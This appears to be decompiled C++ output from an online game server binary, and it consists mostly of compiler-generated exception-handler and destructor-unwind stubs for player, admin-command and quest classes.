_ehhandler__ciee_AfterLoginComplete_ChargedItemEffectElement_ChargedItemEffectList__QAEXGPAVShinePlayer_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EC60) -------------------------------------------------------- void __usercall _L149026(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058EC68) -------------------------------------------------------- void __usercall _L149027(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058EC70) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_ChargedEffectAfterLoginComplete_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EC80) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Copy___basic_string_DU__char_traits_D_std__V__allocator_D_2__std__IAEXII_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EC90) -------------------------------------------------------- void __usercall _L151779(int a1) { exception::_exception(*(exception **)(a1 - 16)); } //----- (0058EC98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0logic_error_std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058ECB0) -------------------------------------------------------- void __usercall _L151886(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0058ECB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_VAbstateBuffer_AbnormalStateShelter__V__allocator_VAbstateBuffer_AbnormalStateShelter___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058ECD0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_VAbstateElementInObject_AbnormalStateContainer__V__allocator_VAbstateElementInObject_AbnormalStateContainer___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058ECF1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAVAbstateBuffer_AbnormalStateShelter__PAV12_V__allocator_VAbstateBuffer_AbnormalStateShelter___std___std__YAPAVAbstateBuffer_AbnormalStateShelter__PAV12_00AAV__allocator_VAbstateBuffer_AbnormalStateShelter___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058ED11) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAVAbstateBuffer_AbnormalStateShelter__IV12_V__allocator_VAbstateBuffer_AbnormalStateShelter___std___std__YAXPAVAbstateBuffer_AbnormalStateShelter__IABV12_AAV__allocator_VAbstateBuffer_AbnormalStateShelter___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058ED28) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_VAbstateBuffer_AbnormalStateShelter__V__allocator_VAbstateBuffer_AbnormalStateShelter___std___std__IAEXViterator_12_IABVAbstateBuffer_AbnormalStateShelter___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058ED40) -------------------------------------------------------- void __usercall _L153509(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0058ED48) -------------------------------------------------------- void __usercall _L153510(int a1) { AbnormalStateShelter::AbstateBuffer::_AbstateBuffer((AbnormalStateShelter::AbstateBuffer *)(a1 - 32)); } //----- (0058ED50) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___AAbstateShelter_AbnormalStateShelter__QAEAAVAbstateBuffer_1_K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058ED60) -------------------------------------------------------- void __usercall _L170441(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (0058ED68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ListIter_AmpCmdArgument__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058ED80) -------------------------------------------------------- void __usercall _L175511(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058ED88) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_NPCRevive_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EDA0) -------------------------------------------------------- void __usercall _L170559(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0058EDA8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AmpersandCommand__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EDC0) -------------------------------------------------------- void __usercall _L172118(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (0058EDC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_Dist_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EDE0) -------------------------------------------------------- void __usercall _L173791(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0058EDE8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_WeddingGuestEnter_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EE00) -------------------------------------------------------- void __usercall _L171042(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 548)); } //----- (0058EE20) -------------------------------------------------------- void __usercall _L171107(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058EE28) -------------------------------------------------------- void __usercall _L171108_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058EE30) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_Timer_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EE40) -------------------------------------------------------- void __usercall _L171190(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058EE4B) -------------------------------------------------------- void __usercall _L171191(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 284)); } //----- (0058EE56) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_NoticeZone_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EE60) -------------------------------------------------------- void __usercall _L171304_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058EE68) -------------------------------------------------------- void __usercall _L171305_0(int a1) { AxialListDoorAction::_AxialListDoorAction((AxialListDoorAction *)(a1 - 24)); } //----- (0058EE70) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_OXBlock_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EE80) -------------------------------------------------------- void __usercall _L171678(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (0058EE8B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_summonplayer_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EEC0) -------------------------------------------------------- void __usercall _L171964(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0058EEC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_Setabstate_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EEE0) -------------------------------------------------------- void __usercall _L174488(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (0058EF00) -------------------------------------------------------- void __usercall _L172738(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058EF08) -------------------------------------------------------- void __usercall _L172739(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 20)); } //----- (0058EF10) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_SuicideAllMob_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EF20) -------------------------------------------------------- void __usercall _L172913(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (0058EF40) -------------------------------------------------------- void __usercall _L174201(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (0058EF48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_StartGuildTournament_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EF60) -------------------------------------------------------- void __usercall _L174263(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0058EF68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_FlagCapture_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EF80) -------------------------------------------------------- void __usercall _L173282(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058EF88) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_BonusItem_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EFA0) -------------------------------------------------------- void __usercall _L174048(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058EFA8) -------------------------------------------------------- void __usercall _L174049(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 24)); } //----- (0058EFB0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_ShowPlayerID_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EFC0) -------------------------------------------------------- void __usercall _L175354(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058EFC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UAmpersandCommandElement____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EFE0) -------------------------------------------------------- void __usercall _L175399(int a1) { PROTO_KQ_INFO::_PROTO_KQ_INFO((PROTO_KQ_INFO *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0058EFEB) -------------------------------------------------------- void __usercall _L175400(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 256), 0x24u, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0058F003) -------------------------------------------------------- void __usercall _L175401(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 400)); } //----- (0058F011) -------------------------------------------------------- void __usercall _L175402(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 656)); } //----- (0058F01F) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1KQElement_KingdomQuest__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F030) -------------------------------------------------------- void __usercall _L175419(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 96)); } //----- (0058F038) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_PlayerDistribute_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F050) -------------------------------------------------------- void __usercall _L175591(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 288)); } //----- (0058F05B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_ShowAllChar_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F070) -------------------------------------------------------- void __usercall _L176089(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (0058F078) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_VFieldMap____QAEPAVFieldMap__P82_AEHPAV1_GPAV2__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F090) -------------------------------------------------------- void __usercall _L176151(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 960)); } //----- (0058F09B) -------------------------------------------------------- void __usercall _L176152(int a1) { KingdomQuest::KQElement::_KQElement((KingdomQuest::KQElement *)(a1 - 956)); } //----- (0058F0A6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_KQReward_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F0B0) -------------------------------------------------------- void __usercall _L176180(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 688)); } //----- (0058F0BB) -------------------------------------------------------- void __usercall _L176181(int a1) { FieldMap::_FieldMap(a1 - 568); } //----- (0058F0C6) -------------------------------------------------------- void __usercall _L176182(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0058F0D1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_KingdomQuest_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F0E0) -------------------------------------------------------- void __usercall _L176332(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 328)); } //----- (0058F0EB) -------------------------------------------------------- void __usercall _L176333(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (0058F100) -------------------------------------------------------- void __usercall _L178243(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0058F108) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__V__allocator_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2__std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F120) -------------------------------------------------------- void __usercall _L179274(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0058F128) -------------------------------------------------------- void __usercall _L179275(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (0058F130) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_IgnoreSkillCoolTime_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F140) -------------------------------------------------------- void __usercall _L179714(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0058F148) -------------------------------------------------------- void __usercall _L179715(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 24), 0x28u, 256, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0058F161) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AmpersandCommand__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F170) -------------------------------------------------------- void __usercall _L179884(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 168)); } //----- (0058F17B) -------------------------------------------------------- void __usercall _L179885(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 160)); } //----- (0058F186) -------------------------------------------------------- void __usercall _L179886(int a1) { std::vector_std::allocator>_std::allocator_std::allocator>>>::_vector_std::allocator>_std::allocator_std::allocator>>>((std::vector,std::allocator >,std::allocator,std::allocator > > > *)(a1 - 188)); } //----- (0058F191) -------------------------------------------------------- void __usercall _L179887(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 72)); } //----- (0058F199) -------------------------------------------------------- void __usercall _L179888(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 100)); } //----- (0058F1A1) -------------------------------------------------------- void __usercall _L179889(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 156)); } //----- (0058F1AC) -------------------------------------------------------- void __usercall _L179890(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (0058F1B4) -------------------------------------------------------- void __usercall _L179891(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 128)); } //----- (0058F1BC) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ListIter_AmpCmdArgument__QAE_GPAVShinePlayer_ShineObjectClass__PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F1D0) -------------------------------------------------------- void __usercall _L181664(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 772)); } //----- (0058F1DB) -------------------------------------------------------- void __usercall _L181665(int a1) { ListIter_AmpCmdArgument::_ListIter_AmpCmdArgument((ListIter_AmpCmdArgument *)(a1 - 704)); } //----- (0058F1E6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_AdminCommand_ShinePlayer_ShineObjectClass__UAEXPADH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F1F0) -------------------------------------------------------- void __usercall _L159108(int a1) { AxialListWall::_AxialListWall(*(AxialListMobKillLog **)(a1 - 20)); } //----- (0058F1F8) -------------------------------------------------------- void __usercall _L159109(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058F200) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AxialListPacketBroadcast4ItemPickUp__QAE_PAVProtocolPacket__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F210) -------------------------------------------------------- void __usercall _L159143(int a1) { AxialListWall::_AxialListWall(*(AxialListMobKillLog **)(a1 - 16)); } //----- (0058F218) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AxialListPacketBroadcast4ItemPickUp__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F230) -------------------------------------------------------- void __usercall _L159409(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058F238) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ali_Work_AxialListShowID__UAEEPAVShineObject_ShineObjectClass__0K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F250) -------------------------------------------------------- void __usercall _L173113(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058F258) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_AmpersandCommand_LevelUp_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F270) -------------------------------------------------------- void __usercall _L174507(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058F278) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_SkillEnchant_ShineMobileObject_ShineObjectClass__UAEEPAVShineObject_2_PAUSmashArgument__PAUBattleObjectStruct_BattleObjectGroup__PAEE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F290) -------------------------------------------------------- void __usercall _L169908(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058F298) -------------------------------------------------------- void __usercall _L169909(int a1) { AxialListTargetInform::_AxialListTargetInform((AxialListTargetInform *)(a1 - 28)); } //----- (0058F2A0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mobile_Broadcast2ndTarget_ShineMobileObject_ShineObjectClass__UAEXPAVShineObject_2_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F2B0) -------------------------------------------------------- void __usercall _L170258(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (0058F2B8) -------------------------------------------------------- void __usercall _L170259(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 60)); } //----- (0058F2C0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_skillsmash_ShineMobileObject_ShineObjectClass__UAEHPAVShineObject_2_PAUSmashArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F2D0) -------------------------------------------------------- void __usercall _L173915(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058F2D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_Schedule_SwingStart_ShinePlayer_ShineObjectClass__AAE_AW4TS_ReturnType_TimeScheduler_12_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F2F0) -------------------------------------------------------- void __usercall _L172648(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058F2F8) -------------------------------------------------------- void __usercall _L172649(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058F300) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SwingStart_ShineMobileObject_ShineObjectClass__QAEXPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F310) -------------------------------------------------------- void __usercall _L174918(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058F318) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_BAT_BASHSTART_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F330) -------------------------------------------------------- void __usercall _L171374(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 4)); } //----- (0058F338) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_AppendAggro_ShineServant_ShineObjectClass__UAEXPAVShineObject_2_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F350) -------------------------------------------------------- void __usercall _L171411(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0058F358) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NextSaveExperience_ShinePlayer_ShineObjectClass__QAE_KXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F370) -------------------------------------------------------- void __usercall _L171881(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (0058F378) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_BAT_SMASH_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F390) -------------------------------------------------------- 